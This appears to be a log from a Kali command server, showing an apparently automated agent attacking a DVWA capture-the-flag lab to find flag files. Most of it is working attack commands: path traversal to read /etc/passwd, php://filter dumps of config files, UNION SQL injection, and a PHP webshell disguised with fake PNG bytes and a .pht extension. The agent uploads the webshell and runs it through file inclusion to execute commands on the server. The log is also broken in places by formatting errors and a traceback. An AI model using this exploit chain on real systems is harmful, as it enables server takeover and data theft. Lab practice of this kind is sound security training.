import sys, re, html
c = sys.stdin.read()
blocks = re.findall(r'<span style="color: #[0-9A-Fa-f]+\>(.*?)</span>', c, re.DOTALL)
code = html.unescape(" ".join(re.sub('<[^\>]+>',",",b) for b in blocks))
print(code)
" | head -60
2026-03-06 15:38:00,418 [INFO] 127.0.0.1 - - [06/Mar/2026 15:38:00] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:38:17,542 [INFO] Executing command: # Get the rest of the FI source
curl -s -b /tmp/s3.txt
"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=fi&security=custom" \
| python3 -c "
import sys, re, html
c = sys.stdin.read()
blocks = re.findall(r'<span style="color: #[0-9A-Fa-f]+\>(.*?)</span>', c, re.DOTALL)
code = html.unescape(" ".join(re.sub('<[^\>]+>',",",b) for b in blocks))
print(code)
" | tail -30
2026-03-06 15:38:17,669 [INFO] 127.0.0.1 - - [06/Mar/2026 15:38:17] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:38:23,725 [INFO] Executing command: # Test 1: Direct LFI with /etc/passwd
(explicitly allowed)
curl -s -b /tmp/s3.txt \

```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=../../../../etc/passwd" \
| grep -o "root:.*|www-data:.*" | head -5
2026-03-06 15:38:23,843 [INFO] 127.0.0.1 - - [06/Mar/2026 15:38:23] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:38:27,707 [INFO] Executing command: # The ../ gets stripped. Try double
URL encoding: ../ -> %252e%252e%252f
# First encode: ../ -> %2e%2e%2f then encode the % -> %25 giving %252e%252e%252f
curl -s -b /tmp/s3.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=%252e%252e%252f%252e%252e%252f
%252e%252e%252fetc%252fpasswd" \
| grep -o "root:.*|www-data:.*" | head -5
2026-03-06 15:38:27,743 [INFO] 127.0.0.1 - - [06/Mar/2026 15:38:27] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:38:32,421 [INFO] Executing command: # Try the explicitly-allowed path
curl -s -b /tmp/s3.txt \
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=../../../../etc/passwd" \
| grep -oE "root:[^:]*:.*|www-data:.*" | head -3
```

Also try with absolute path

```
curl -s -b /tmp/s3.txt \
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=/etc/passwd" \
| grep -oE "root:[^:]*:.*|www-data:.*" | head -3
2026-03-06 15:38:32,685 [INFO] 127.0.0.1 - - [06/Mar/2026 15:38:32] "POST /api/command
HTTP/1.1" 200 -
```

2026-03-06 15:39:10,692 [INFO] Executing command: # Try to read common flag locations
for PATH_GUESS in "/flag.txt" "/var/www/html/flag.txt" "/flag" "/root/flag.txt"

"/var/www/flag.txt" "/tmp/flag.txt" "/etc/flag.txt"; do

RESULT=\$(curl -s -b /tmp/s3.txt \

"http://100.113.75.28:8081/vulnerabilities/fi/.?page=\$PATH_GUESS" \

| grep -oi "FLAG{[^}]*}")

if [-n "\$RESULT"]; then

echo "FOUND at \$PATH_GUESS: \$RESULT"

else

echo "Not at \$PATH_GUESS"

fi

done

```
2026-03-06 15:39:10,917 [INFO] 127.0.0.1 - - [06/Mar/2026 15:39:10] "POST /api/command
HTTP/1.1" 200 -
```

2026-03-06 15:39:15,007 [INFO] Executing command: # Try paths relative to the DVWA
webroot - /var/www/html/ is standard Apache

for PATH_GUESS in "/var/www/html/dvwa/flag.txt" "/var/www/html/hackable/flag.txt"

"/var/www/html/config/flag.txt" "/var/www/html/flag.txt" "/var/www/html/secret.txt"

"/var/www/html/dvwa/secret.txt"; do

RESULT=\$(curl -s -b /tmp/s3.txt \

"http://100.113.75.28:8081/vulnerabilities/fi/.?page=\$PATH_GUESS" \

| grep -oi "FLAG{[^}]*}")

```
[ -n "$RESULT" ] && echo "FOUND: $PATH_GUESS -> $RESULT" || echo "Miss: $PATH_GUESS"
done
2026-03-06 15:39:15,177 [INFO] 127.0.0.1 - - [06/Mar/2026 15:39:15] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 15:39:19,345 [INFO] Executing command: # Use php://filter to read PHP files -
this reveals source without executing
# Read the main config file to understand the webroot
curl -s -b /tmp/s3.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/dvwa/includes/dvwaPage.inc.php" \
| grep -oE "[A-Za-z0-9+/]{20,}={0,2}" | head -3 | while read b64; do
echo "$b64" | base64 -d 2>/dev/null | head -5
done
```

Exception in thread Thread-209 (_read_stdout):

Traceback (most recent call last):

```
File "/usr/lib/python3.13/threading.py", line 1043, in _bootstrap_inner
    self.run()
~~~~~^^
```

```
File "/usr/lib/python3.13/threading.py", line 994, in run
    self._target(*self._args, **self._kwargs)
~~~~~
```

```
File "/usr/share/mcp-kali-server/kali_server.py", line 51, in _read_stdout
    for line in iter(self.process.stdout.readline, ""):
~~~~~
```

```
File "<frozen codecs>", line 325, in decode
```

UnicodeDecodeError: 'utf-8' codec can't decode byte 0xfe in position 0: invalid start byte

```
2026-03-06 15:39:19,474 [INFO] 127.0.0.1 - - [06/Mar/2026 15:39:19] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 15:39:23,793 [INFO] Executing command: # Read the index.php to understand
the webroot and find flag hints
curl -s -b /tmp/s3.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/index.php" \
| grep -oE "[A-Za-z0-9+/]{100,}={0,2}" | head -1 | base64 -d 2>/dev/null | grep -i
"flag|secret|hidden" | head -5
```

```
2026-03-06 15:39:23,861 [INFO] 127.0.0.1 - - [06/Mar/2026 15:39:23] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 15:39:29,143 [INFO] Executing command: # Read the setup.php and config files
to find flag or clues
curl -s -b /tmp/s3.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/config/config.inc.php" \
```

```
| grep -oE "[A-Za-z0-9+/{100,}={0,2}" | head -1 | base64 -d 2>/dev/null
2026-03-06 15:39:29,179 [INFO] 127.0.0.1 - - [06/Mar/2026 15:39:29] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 15:39:36,809 [INFO] Executing command: # Let's read the setup.php since it
was publicly accessible and might reveal flag location
curl -s -b /tmp/s3.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resour
ce=/var/www/html/setup.php" \
```

```
| grep -oE "[A-Za-z0-9+/{100,}={0,2}" | head -1 | base64 -d 2>/dev/null | grep -i
"flag|secret|hidden|insert|FLAG" | head -10
```

```
2026-03-06 15:39:36,877 [INFO] 127.0.0.1 - - [06/Mar/2026 15:39:36] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 15:40:15,312 [INFO] Executing command: # Read the database setup SQL to
see if flag is inserted into DB
curl -s -b /tmp/s3.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resour
ce=/var/www/html/database/dvwa.sql" \
```

```
| grep -oE "[A-Za-z0-9+/{100,}={0,2}" | head -1 | base64 -d 2>/dev/null
```

```
2026-03-06 15:40:15,381 [INFO] 127.0.0.1 - - [06/Mar/2026 15:40:15] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 15:40:19,605 [INFO] Executing command: # List contents of the database
directory via LFI reading directory listings
```

```
# First, find the webroot structure - read the Apache config or directory
```

```
curl -s -b /tmp/s3.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=/etc/apache2/sites-enabled/000-default.c
onf" \
```

```
| grep -oE "Document\\w+\\s+[^\s<]+" | head -5
```

```
curl -s -b /tmp/s3.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=/etc/apache2/sites-enabled/dvwa.conf" \
```

```
| grep -oE "Document\\w+\\s+[^\s<]+" | head -5
```

```
2026-03-06 15:40:19,724 [INFO] 127.0.0.1 - - [06/Mar/2026 15:40:19] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 15:40:28,995 [INFO] Executing command: # Webroot is /var/www/html. Let me
check the custom vulnerability source files
```

```
# Read the sqli custom source directly
```

```
curl -s -b /tmp/s3.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resour
ce=/var/www/html/vulnerabilities/sqli/source/custom.php" \
```

```
| grep -oE "[A-Za-z0-9+/{100,}={0,2}" | head -1 | base64 -d 2>/dev/null | grep -i
"flag|secret|FLAG" | head -5
```

```
2026-03-06 15:40:29,071 [INFO] 127.0.0.1 - - [06/Mar/2026 15:40:29] "POST /api/command
HTTP/1.1" 200 -
```

2026-03-06 15:41:11,249 [INFO] Executing command: # Read the full sql custom.php looking for flag injection in SQL
curl -s -b /tmp/s3.txt \

"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/vulnerabilities/sqli/source/custom.php" \
| grep -oE "[A-Za-z0-9+/\]{100,}={0,2}" | head -1 | base64 -d 2>/dev/null
2026-03-06 15:41:11,320 [INFO] 127.0.0.1 - - [06/Mar/2026 15:41:11] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:41:21,382 [INFO] Executing command: # Check all custom PHP files in the vulnerabilities directory
for VULN in "fi" "upload" "exec" "sqli"; do
echo "=== \$VULN ==="
curl -s -b /tmp/s3.txt \

"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/vulnerabilities/\$VULN/source/custom.php" \
| grep -oE "[A-Za-z0-9+/\]{50,}={0,2}" | head -1 | base64 -d 2>/dev/null | grep -i
"flag\|FLAG\|secret\|hidden" | head -3
done
2026-03-06 15:41:21,557 [INFO] 127.0.0.1 - - [06/Mar/2026 15:41:21] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:41:26,183 [INFO] Executing command: # Read the upload custom.php completely
curl -s -b /tmp/s3.txt \

"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/vulnerabilities/upload/source/custom.php" \
| grep -oE "[A-Za-z0-9+/\]{100,}={0,2}" | head -1 | base64 -d 2>/dev/null
2026-03-06 15:41:26,253 [INFO] 127.0.0.1 - - [06/Mar/2026 15:41:26] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:42:31,750 [INFO] Executing command: # The extension check uses pathinfo() which returns LAST extension
.php.jpg would have extension 'jpg' - bypasses the PHP block
But then it won't execute as PHP... unless Apache is configured to execute .jpg

Better: use .pht or .shtml or other PHP-executing extensions
Check what Apache config allows
curl -s -b /tmp/s3.txt \

"http://100.113.75.28:8081/vulnerabilities/fi/.?page=/etc/apache2/mods-enabled/php8.5.conf" \
| grep -v "^\$\|html\|body\|div\|css\|meta\|script\|link\|title" | head -20

curl -s -b /tmp/s3.txt \


```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=/etc/apache2/mods-available/php8.5.conf" \
```

```
| grep -v "^$|\html\|body\|div\|css\|meta\|script\|link\|title" | head -20
2026-03-06 15:42:31,950 [INFO] 127.0.0.1 - - [06/Mar/2026 15:42:31] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:42:36,922 [INFO] Executing command: # The FI module wraps the included
file in DVWA template - I'm already getting LFI
# Let me try to find the flag by reading the setup.php SQL file or database init scripts
curl -s -b /tmp/s3.txt \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/database/dvwa.sql" \
```

```
| grep -oE "[A-Za-z0-9+/\]{50,}={0,2}" | head -2 | while read b64; do
    echo "$b64" | base64 -d 2>/dev/null
done | grep -i "flag\|FLAG\|insert" | head -10
2026-03-06 15:42:36,988 [INFO] 127.0.0.1 - - [06/Mar/2026 15:42:36] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:42:43,176 [INFO] Executing command: # Search for a flag-related file using
the SQL injection to query the DB with LOAD_FILE for mysql-files dir
# Instead, let's use SQLi to query information_schema for any flag table across all databases
including mysql
```

```
curl -s -b /tmp/s3.txt -G \
    --data-urlencode "id=999' UNION SELECT concat(table_schema,'.',table_name),2,3,4
FROM information_schema.tables WHERE table_name LIKE '%flag%' OR table_name LIKE
'%secret%' OR table_name LIKE '%hidden%'--" \
    --data-urlencode "Submit=Submit" \
    --data-urlencode "role=admin" \
    "http://100.113.75.28:8081/vulnerabilities/sqli/" \
```

```
| grep "<td>" | grep -v "^.*<td>[234]</td>" | sed 's/.*<td>\(.*\)</td>.*\1/' | grep -v "^[234]$"
2026-03-06 15:42:43,443 [INFO] 127.0.0.1 - - [06/Mar/2026 15:42:43] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 15:42:47,802 [INFO] Executing command: # Refresh session first
curl -s -c /tmp/s4.txt "http://100.113.75.28:8081/login.php" > /tmp/lp4.html
T4=$(grep "user_token" /tmp/lp4.html | grep -o "value='[^']*'" | sed "s/value='([^\']*)'/\1/")
```

```
curl -s -c /tmp/s4.txt -b /tmp/s4.txt \
    -d "username=admin&password=password&Login=Login&user_token=$T4" \
    "http://100.113.75.28:8081/login.php" -o /dev/null -D /tmp/h4.txt
grep "Location" /tmp/h4.txt
2026-03-06 15:42:47,922 [INFO] 127.0.0.1 - - [06/Mar/2026 15:42:47] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 15:42:54,035 [INFO] Executing command: # Query for any table with
flag/secret/hidden across ALL databases
```

```
curl -s -b /tmp/s4.txt -G \
    --data-urlencode "id=999' UNION SELECT concat(table_schema,'.',table_name),2,3,4
FROM information_schema.tables WHERE table_name LIKE '%flag%' OR table_name LIKE
'%secret%'--" \
```

```

--data-urlencode "Submit=Submit" \
--data-urlencode "role=admin" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/' | grep -v "^[234]$"
2026-03-06 15:42:54,156 [INFO] 127.0.0.1 - - [06/Mar/2026 15:42:54] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:43:55,470 [INFO] Executing command: cat /tmp/s4.txt
2026-03-06 15:43:55,514 [INFO] 127.0.0.1 - - [06/Mar/2026 15:43:55] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:44:00,193 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"

```

```

curl -s -b "security=custom;PHPSESSID=$SID" -G \
--data-urlencode "id=999' UNION SELECT concat(table_schema,'.',table_name),2,3,4
FROM information_schema.tables WHERE table_name LIKE '%flag%' OR table_name LIKE
'%secret%'--" \
--data-urlencode "Submit=Submit" \
--data-urlencode "role=admin" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/' | grep -v "^[234]$"
2026-03-06 15:44:00,264 [INFO] 127.0.0.1 - - [06/Mar/2026 15:44:00] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:45:12,684 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
curl -v -b "security=custom;PHPSESSID=$SID" \

```

```

"http://100.113.75.28:8081/vulnerabilities/sqli/?id=1&Submit=Submit&role=admin&debug=1"
2>&1 | grep -E "HTTP|Location|pre>" | head -10
2026-03-06 15:45:12,871 [INFO] 127.0.0.1 - - [06/Mar/2026 15:45:12] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:45:17,614 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
# URL encode the LIKE query carefully
PAYLOAD="999' UNION SELECT concat(table_schema,0x2e,table_name),2,3,4 FROM
information_schema.tables WHERE table_name LIKE 0x25666c6167--"
# 0x25666c6167 = %flag in hex

```

```

curl -s -b "security=custom;PHPSESSID=$SID" \
"http://100.113.75.28:8081/vulnerabilities/sqli/?id=$(python3 -c "import urllib.parse;
print(urllib.parse.quote('$PAYLOAD'))")&Submit=Submit&role=admin&debug=1" \
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/' | grep -v "^[234]$" | head -10
2026-03-06 15:45:17,836 [INFO] 127.0.0.1 - - [06/Mar/2026 15:45:17] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:45:28,501 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
# Try the access_log - might store flag-retrieval events. Also try reading guestbook entries
fully
# And check if there's a flag in the access_log action column

```

```
curl -s -b "security=custom;PHPSESSID=$SID" \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli/?id=999%27%20UNION%20SELECT%20action%2C2%2C3%2C4%20FROM%20access_log--+&Submit=Submit&role=admin" \
```

```
| grep "<td>" | sed 's/. *<td>\(.*\)</td>.*\1/' | grep -v "^[234]$" | head -10
```

```
2026-03-06 15:45:28,573 [INFO] 127.0.0.1 - - [06/Mar/2026 15:45:28] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 15:46:43,254 [INFO] Executing command:
```

```
SID="4ef829abe6ac7ed0f829d9efa24260d0"
```

```
# Let me try the File Upload + LFI chain since upload source showed the flag might be somewhere
```

```
# First, let's read the PHP files that create the flag to find where it IS
```

```
# Read the about.php (no auth needed) for any flag hints
```

```
curl -s -b "security=custom;PHPSESSID=$SID" \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/about.php" \
```

```
| grep -oE "[A-Za-z0-9+/{100,}={0,2}" | head -1 | base64 -d 2>/dev/null | grep -i
```

```
"flag|FLAG|secret|hidden" | head -5
```

```
2026-03-06 15:46:43,379 [INFO] 127.0.0.1 - - [06/Mar/2026 15:46:43] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 15:46:51,573 [INFO] Executing command:
```

```
SID="4ef829abe6ac7ed0f829d9efa24260d0"
```

```
# Let me read index.php fully - it contains the flag challenge text
```

```
curl -s -b "security=custom;PHPSESSID=$SID" \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/index.php" \
```

```
| grep -oE "[A-Za-z0-9+/{100,}={0,2}" | head -1 | base64 -d 2>/dev/null
```

```
2026-03-06 15:46:51,648 [INFO] 127.0.0.1 - - [06/Mar/2026 15:46:51] "POST /api/command HTTP/1.1" 200 -
```

```
2026-03-06 15:47:01,697 [INFO] Executing command:
```

```
SID="4ef829abe6ac7ed0f829d9efa24260d0"
```

```
# Let me use the File Upload + LFI chain:
```

```
# Upload a PHP webshell (bypass upload filters), then include via LFI
```

```
# The upload filter:
```

```
# - MIME must start with "image/"
```

```
# - Magic bytes: PNG check at WRONG offset (offset 1, not 0) - so \x00PNG passes!
```

```
# - Extension: blocks php/phar/phtml/php1-9 but NOT .pht or other variants
```

```
# BUT extension regex is: /ph(ar|p|tml|p[1-9])/i
```

```
# .pht doesn't match! Let me check: ph + t -> not in (ar|p|tml|p[1-9]) -> .pht PASSES!
```

```
# Create webshell with .pht extension + fake PNG magic bytes (at offset 1)
```

```

# \x00PNG<webshell code>
python3 -c "
import sys
# Fake PNG: put a null byte then PNG - so substr(\$bytes, 1, 3) === 'PNG' is TRUE
payload = b'\x00PNG\r\n\x1a\n' + b'<?php system(\$_GET["cmd"]); ?>'
sys.stdout.buffer.write(payload)
" > /tmp/shell.pht

echo "File created:"
xxd /tmp/shell.pht | head -3
2026-03-06 15:47:01,766 [INFO] 127.0.0.1 - - [06/Mar/2026 15:47:01] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 15:48:33,778 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
# Upload the .pht webshell
UPLOAD_RESULT=$(curl -s -b "security=custom;PHPSESSID=$SID" \
-F "uploaded=@/tmp/shell.pht;type=image/png;filename=shell.pht" \
-F "Upload=Upload" \
"http://100.113.75.28:8081/vulnerabilities/upload/")

echo "$UPLOAD_RESULT" | grep -i "upload\\|reject\\|success\\|debug\\|error\\|path\\|hackable" |
head -15
2026-03-06 15:48:33,896 [INFO] 127.0.0.1 - - [06/Mar/2026 15:48:33] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:48:38,828 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
SHELL_PATH="/var/www/html/hackable/uploads/custom_${SID}/img_a27aa77ee4.pht"

# Execute via LFI + webshell
curl -s -b "security=custom;PHPSESSID=$SID" \
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL_PATH}&cmd=id" \
| grep -oE "uid=[0-9]+\([^\)]+\)[^\n<]*" | head -3
2026-03-06 15:48:38,950 [INFO] 127.0.0.1 - - [06/Mar/2026 15:48:38] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 15:48:42,230 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
SHELL_PATH="/var/www/html/hackable/uploads/custom_${SID}/img_a27aa77ee4.pht"

curl -s -b "security=custom;PHPSESSID=$SID" \
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL_PATH}&cmd=id" \
| strings | grep -i "uid\\|www\\|apache\\|root" | head -5
2026-03-06 15:48:42,299 [INFO] 127.0.0.1 - - [06/Mar/2026 15:48:42] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:48:47,164 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
SHELL_PATH="/var/www/html/hackable/uploads/custom_${SID}/img_a27aa77ee4.pht"

```

```
rce() {  
  curl -s -b "security=custom;PHPSESSID=$SID" \  
    --data-urlencode "cmd=$1" \  
    "http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL_PATH}" \  
    | strings | head -5  
}
```

Find flag files

```
rce "find / -name '*flag*' -not -path '*/proc/*' -not -path '*/sys/*' 2>/dev/null"
```

2026-03-06 15:48:47,238 [INFO] 127.0.0.1 - - [06/Mar/2026 15:48:47] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:48:54,035 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

SHELL_PATH="/var/www/html/hackable/uploads/custom_\${SID}/img_a27aa77ee4.pht"

Use GET parameter properly (need to append as query string to the page include)

The issue is the FI page includes the file, so cmd needs to be part of \$_GET

Let me pass cmd as a URL parameter

```
curl -s -b "security=custom;PHPSESSID=$SID" \  
  "http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL_PATH}&cmd=find+%2F+-name
```

```
+%27*flag*%27+-not+-path+%27*proc*%27+-not+-path+%27*sys*%27+2%3E%2Fdev%2Fn  
ull" \  
  | strings | grep -v "Warning\|Deprecated\|Cannot\|header\|dvwa\|inc.php" | head -15
```

2026-03-06 15:48:55,069 [INFO] 127.0.0.1 - - [06/Mar/2026 15:48:55] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:50:41,747 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

SHELL_PATH="/var/www/html/hackable/uploads/custom_\${SID}/img_a27aa77ee4.pht"

List the flags directory

```
curl -s -b "security=custom;PHPSESSID=$SID" \  
  "http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL_PATH}&cmd=ls+-la+/var/www/
```

```
html/hackable/flags/" \  
  | strings | grep -v "Warning\|Deprecated\|Cannot\|header\|dvwa\|inc.php\|<" | head -15
```

2026-03-06 15:50:41,871 [INFO] 127.0.0.1 - - [06/Mar/2026 15:50:41] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:50:45,091 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

SHELL_PATH="/var/www/html/hackable/uploads/custom_\${SID}/img_a27aa77ee4.pht"

Read the fi.php flag file

```
curl -s -b "security=custom;PHPSESSID=$SID" \  
  "http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL_PATH}&cmd=c
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL_PATH}&cmd=cat+/var/www/html/hackable/flags/fi.php" \
| strings | grep -v "Warning\|Deprecated\|Cannot\|header\|dvwa\|inc.php\|^<" | head -20
2026-03-06 15:50:45,241 [INFO] 127.0.0.1 - - [06/Mar/2026 15:50:45] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 15:52:42,007 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
SHELL_PATH="/var/www/html/hackable/uploads/custom_${SID}/img_a27aa77ee4.pht"
```

```
# The fi.php is a PHP file - when included it executes, not shows content.
# Use cat via shell to read the raw content, or use LFI with php://filter
```

```
# Method 1: cat the file (raw content via RCE)
curl -s -b "security=custom;PHPSESSID=$SID" \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=${SHELL_PATH}&cmd=cat%20/var/www/html/hackable/flags/fi.php" \
| strings | grep -iE "FLAG\{flag\}" | head -5
2026-03-06 15:52:42,078 [INFO] 127.0.0.1 - - [06/Mar/2026 15:52:42] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 15:52:48,638 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
```

```
# Use php://filter via LFI to read fi.php without executing it
curl -s -b "security=custom;PHPSESSID=$SID" \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/hackable/flags/fi.php" \
| grep -oE "[A-Za-z0-9+/]{50,}={0,2}" | while read b64; do
    echo "$b64" | base64 -d 2>/dev/null
done | grep -i "FLAG\|flag" | head -5
2026-03-06 15:52:48,729 [INFO] 127.0.0.1 - - [06/Mar/2026 15:52:48] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 15:52:52,418 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
```

```
# Read the full file content via php filter
curl -s -b "security=custom;PHPSESSID=$SID" \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/.?page=php://filter/convert.base64-encode/resource=/var/www/html/hackable/flags/fi.php" \
| grep -oE "[A-Za-z0-9+/]+=*" | sort -u | awk 'length>30' | while read b64; do
    decoded=$(echo "$b64" | base64 -d 2>/dev/null)
    [ $? -eq 0 ] && echo "$decoded"
done | head -30
```

2026-03-06 15:52:52,540 [INFO] 127.0.0.1 - - [06/Mar/2026 15:52:52] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:52:57,947 [INFO] Executing command: # Decode the concatenated base64 line4 from fi.php

```
echo "NC4pI" "FRoZSBwb29s" "IG9uIH" "RoZSBYb29mIG1" "1c3QgaGF" "ZSBh" "IGxIY" "Wsu" | tr -d ' ' | base64 -d
```

2026-03-06 15:52:57,966 [INFO] 127.0.0.1 - - [06/Mar/2026 15:52:57] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:55:08,801 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

The fi.php says "Use the file include next time!" and contains clues.

The ACTUAL flag might be revealed when this file is INCLUDED (not filtered/read).

Let's include it directly through the FI module.

```
curl -s -b "security=custom;PHPSESSID=$SID" \
  "http://100.113.75.28:8081/vulnerabilities/fi/.?page=/var/www/html/hackable/flags/fi.php" \
  | grep -iE "FLAG\{flag\|Bond\|Sherlock\|Romeo\|pool\|zeroes" | head -10
```

2026-03-06 15:55:08,874 [INFO] 127.0.0.1 - - [06/Mar/2026 15:55:08] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:55:14,566 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

Include the fi.php file via the FI vulnerability - shows content when included

```
curl -s -b "security=custom;PHPSESSID=$SID" \
  "http://100.113.75.28:8081/vulnerabilities/fi/.?page=/var/www/html/hackable/flags/fi.php" \
  | strings | grep -v "^<|css|js|menu|header|body|div|container|img" | head -30
```

2026-03-06 15:55:14,699 [INFO] 127.0.0.1 - - [06/Mar/2026 15:55:14] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:55:21,460 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

The fi.php file is the intended path but it's a clue file, not the flag itself.

Notice: "Use the file include next time!" - this IS the file inclusion challenge answer.

The HTML comment contains: "5.) The world isn't run by weapons..." (WarGames quote)

These are all movie/book quotes as distractors.

Let me check if there's a FLAG in the HTML comment area or if fi.php contains FLAG{}

```
curl -s -b "security=custom;PHPSESSID=$SID" \
  "http://100.113.75.28:8081/vulnerabilities/fi/.?page=/var/www/html/hackable/flags/fi.php" \
  | grep -c "FLAG\|flag{"
```

Also check the full page

```
curl -s -b "security=custom;PHPSESSID=$SID" \
  "http://100.113.75.28:8081/vulnerabilities/fi/.?page=/var/www/html/hackable/flags/fi.php" >
/tmp/fi_flag_page.html
```

```
grep -oi "FLAG{[^}]*}" /tmp/fi_flag_page.html
```

2026-03-06 15:55:21,579 [INFO] 127.0.0.1 - - [06/Mar/2026 15:55:21] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:55:27,261 [INFO] Executing command:
SID="4ef829abe6ac7ed0f829d9efa24260d0"
SHELL_PATH="/var/www/html/hackable/uploads/custom_\${SID}/img_a27aa77ee4.pht"

Use RCE to do a comprehensive search for the flag string on the filesystem
curl -s -b "security=custom;PHPSESSID=\$SID" \

"http://100.113.75.28:8081/vulnerabilities/fi/.?page=\${SHELL_PATH}&cmd=grep+-r+%22FLAG%7B%22+/var/www/html/+2%3E/dev/null" \

| strings | grep -i "FLAG{" | head -10

2026-03-06 15:55:27,327 [INFO] 127.0.0.1 - - [06/Mar/2026 15:55:27] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:55:32,367 [INFO] Executing command:

SID="4ef829abe6ac7ed0f829d9efa24260d0"

